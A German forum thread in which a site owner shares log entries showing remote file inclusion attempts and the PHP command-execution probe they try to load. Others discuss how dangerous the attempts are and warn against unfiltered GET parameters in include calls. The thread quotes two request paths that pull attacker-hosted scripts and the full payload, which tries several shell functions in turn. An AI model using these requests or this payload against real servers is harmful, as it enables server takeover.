Hacker ?!

[dunixphp]

schaut euch mal diese referer an.
Da will doch jemand meinen Server übernehmen!

/index.php?prefix=http://www.vanderjagt-kraanverhuur.nl/id.txt?
/errors.php?error=http://fuckyou.fileave.com/alb.txt??

[unset]

Und jetzt?

[dunixphp]

nix!

ich finde es nur sehr spannend

[unset]

Ich finds eher gähnend langweilig. Hat er denn wenigstens Erfolg gehabt. Dann kann man dich wenigstens darauf hinweisen, deine Lücken zu stopfen, statt uns hier mit deinen Trivialitäten zu nerven.

[dunixphp]

tut mir leid









Ich finde es trotzdem spannend

[UzumakiNaruto]

ich würde mal eher behaupten dort will jemand links in deine datenbank schreiben

[dunixphp]

Der will Befehle auf dem Server ausführen

echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit; 

[Flip7]

Auf http://fuckyou.fileave.com/ würden Spamer schöne Adressen finden :-D

und die niederländische Seite da verkauft oder vermietet Bagger :-D

komische Leute, aber @dunixphp JA das sind Hackerangriffe, jedoch irgendwie harmlose...

Ist aber ganz lustig alles zu überwachen, gell

[onemorenerd]

Als harmlos würde ich das nicht bezeichnen. Die Art des Angriffs mag banal sein, aber wenn es klappt, hat man eine PHP-Shell mit der man ziemlichen Schaden anrichten kann. Die Erfolgschancen für den Angreifer dürften nicht schlecht stehen, wenn man bedenkt wieviele Leute hier immer wieder ungefiltert GET-Parameter für include nutzen.

[h3ll]

Original geschrieben von onemorenerd
Als harmlos würde ich das nicht bezeichnen. Die Art des Angriffs mag banal sein, aber wenn es klappt, hat man eine PHP-Shell mit der man ziemlichen Schaden anrichten kann. Die Erfolgschancen für den Angreifer dürften nicht schlecht stehen, wenn man bedenkt wieviele Leute hier immer wieder ungefiltert GET-Parameter für include nutzen.

Was meiner Meinung nach genauso fahrlässig ist wie ein Auto mit geöffneten Fenstern abzustellen und darin den Zündschlüssel stecken zu lassen.

[unset]

Wobei in dem Fall nur der Besitzer des Autos den Schaden hat. Unter einer gekaperten Kiste leiden im Zweifelsfall wesentlich mehr Menschen.

[dunixphp]

harmlos mit Sicherheit nicht!
*Lehrgeld bereits bezahlt*